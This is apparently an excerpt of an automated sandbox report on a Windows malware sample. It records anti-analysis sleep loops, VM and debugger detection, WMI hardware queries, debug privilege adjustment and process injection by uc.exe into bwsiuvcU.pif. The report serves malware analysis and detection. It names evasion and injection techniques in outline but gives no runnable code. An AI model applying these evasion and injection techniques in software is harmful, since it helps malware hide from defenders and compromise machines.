Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -29514790517935264s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -100000s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 7992	Thread sleep count: 3310 > 30
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -99875s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 7992	Thread sleep count: 6521 > 30
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -99751s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -99609s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -99500s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -99388s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -99265s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -99146s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -99019s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -98890s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -98781s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -98672s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -98562s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -98453s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -98342s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -98218s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -98109s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -97979s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -97859s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -97750s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -97631s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -97515s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -97390s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -97278s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -1200000s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -1199829s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -1199704s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -1199590s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -1199469s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -1199359s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -1199250s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -1199110s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -1199000s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -1198888s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -1198781s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -1198657s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -1198532s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -1198422s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -1198297s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -1198185s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -1198078s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -1197954s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -1197836s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -1197730s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -1197586s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -1197471s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -1197344s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -1197235s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -1197094s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -1196985s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep time: -1196875s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Users\Public\Libraries\bwsiuvcU.pif	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\Public\Libraries\bwsiuvcU.pif	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Last function: Thread delayed
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Last function: Thread delayed
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Last function: Thread delayed
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Last function: Thread delayed

Source: C:\Users\user\AppData\Roaming\uc.exe

Code function: 19_2_029858CC GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,

19_2_029858CC

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 99872	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 99749	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 99640	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 99530	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 99417	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 99297	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 99181	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 99071	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 98959	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 98843	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 98734	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 98624	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 98515	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 98399	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 98296	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 98176	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 98062	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 97945	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 97825	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 97718	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 97609	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 97499	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 97390	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 97281	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 97169	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 97062	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 96953	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 96843	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 96734	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 96624	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 96515	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1200000	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1199809	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1199687	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1199305	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1199172	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1197547	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1197435	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1197328	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1197219	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1197109	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1197000	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1196880	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1196766	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1196652	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1196544	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1196403	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1196229	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1196124	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1196012	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1195854	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1195728	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1195608	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1195470	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1195295	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1195143	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1194979	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1194835	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1194719	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 100000
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 99879
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 99765
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 99655
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 99546
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 99435
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 99325
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 99209
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 99078
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 98936
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 98822
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 98718
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 98606
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 98484
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 98374
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 98264
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 98156
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 98046
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 97936
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 97797
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 97685
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 97564
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 97424
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 97292
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 97180
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1200000
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1199865
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1199744
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1199618
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1199448
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1199323
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1199199
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1199043
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1198916
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1198764
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1198627
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1198467
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1198331
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 100000
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 99875
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 99751
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 99609
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 99500
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 99388
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 99265
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 99146
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 99019
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 98890
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 98781
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 98672
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 98562
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 98453
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 98342
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 98218
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 98109
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 97979
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 97859
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 97750
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 97631
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 97515
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 97390
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 97278
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1200000
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1199829
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1199704
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1199590
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1199469
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1199359
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1199250
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1199110
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1199000
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1198888
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1198781
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1198657
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1198532
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1198422
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1198297
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1198185
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1198078
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1197954
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1197836
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1197730
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1197586
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1197471
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1197344
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1197235
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1197094
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1196985
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1196875

Source: bwsiuvcU.pif, 00000019.00000002.1793876103.0000000029440000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 00000019.00000003.1711636457.000000002944F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllq
Source: mshta.exe, 00000009.00000002.1863621793.0000019AC1767000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000003.1858256707.0000019AC1766000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000003.1856924692.0000019AC1757000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000003.1852117667.0000019AC1757000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000002.1863133474.0000019AC16A6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000002.1863133474.0000019AC1716000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.2529557915.0000021C3382B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.2531528743.0000021C38E58000.00000004.00000020.00020000.00000000.sdmp, uc.exe, 00000013.00000002.1496845420.00000000007F4000.00000004.00000020.00020000.00000000.sdmp, uc.exe, 00000013.00000002.1496845420.00000000007AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000011.00000002.1635136687.0000029E32767000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}8b}n
Source: Ucvuiswb.PIF, 00000018.00000002.1625890136.00000000005FA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllvvX
Source: powershell.exe, 00000011.00000002.1635136687.0000029E3275E000.00000004.00000020.00020000.00000000.sdmp, Ucvuiswb.PIF, 0000001A.00000002.1711968278.00000000005DB000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 0000001B.00000002.2556758276.00000000411C0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: bwsiuvcU.pif, 00000017.00000002.1683295114.0000000041300000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllaa

Source: C:\Users\user\AppData\Roaming\uc.exe	API call chain: ExitProcess graph end node	graph_19-38404
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	API call chain: ExitProcess graph end node	graph_23-59625
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	API call chain: ExitProcess graph end node	graph_24-27484
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	API call chain: ExitProcess graph end node

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\Public\Libraries\bwsiuvcU.pif

Code function: 23_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

23_2_0040CE09

Source: C:\Users\Public\Libraries\bwsiuvcU.pif

23_2_004019F0

Source: C:\Users\user\AppData\Roaming\uc.exe

Code function: 19_2_02997AC0 LoadLibraryW,GetProcAddress,NtWriteVirtualMemory,FreeLibrary,

19_2_02997AC0

Source: C:\Users\Public\Libraries\bwsiuvcU.pif

Code function: 23_2_0040ADB0 GetProcessHeap,HeapFree,

23_2_0040ADB0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	23_2_0040CE09
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_2_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	23_2_0040E61C
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_2_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	23_2_00416F6A
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_2_004123F1 SetUnhandledExceptionFilter,	23_2_004123F1
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_1_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	23_1_0040CE09
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_1_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	23_1_0040E61C
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_1_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	23_1_00416F6A
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_1_004123F1 SetUnhandledExceptionFilter,	23_1_004123F1
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 25_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	25_2_0040CE09
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 25_2_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	25_2_0040E61C
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 25_2_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	25_2_00416F6A
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 25_2_004123F1 SetUnhandledExceptionFilter,	25_2_004123F1

Source: C:\Users\Public\Libraries\bwsiuvcU.pif

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\AppData\Roaming\uc.exe	Memory allocated: C:\Users\Public\Libraries\bwsiuvcU.pif base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Memory allocated: C:\Users\Public\Libraries\bwsiuvcU.pif base: 1E090000 protect: page execute and read and write	Jump to behavior
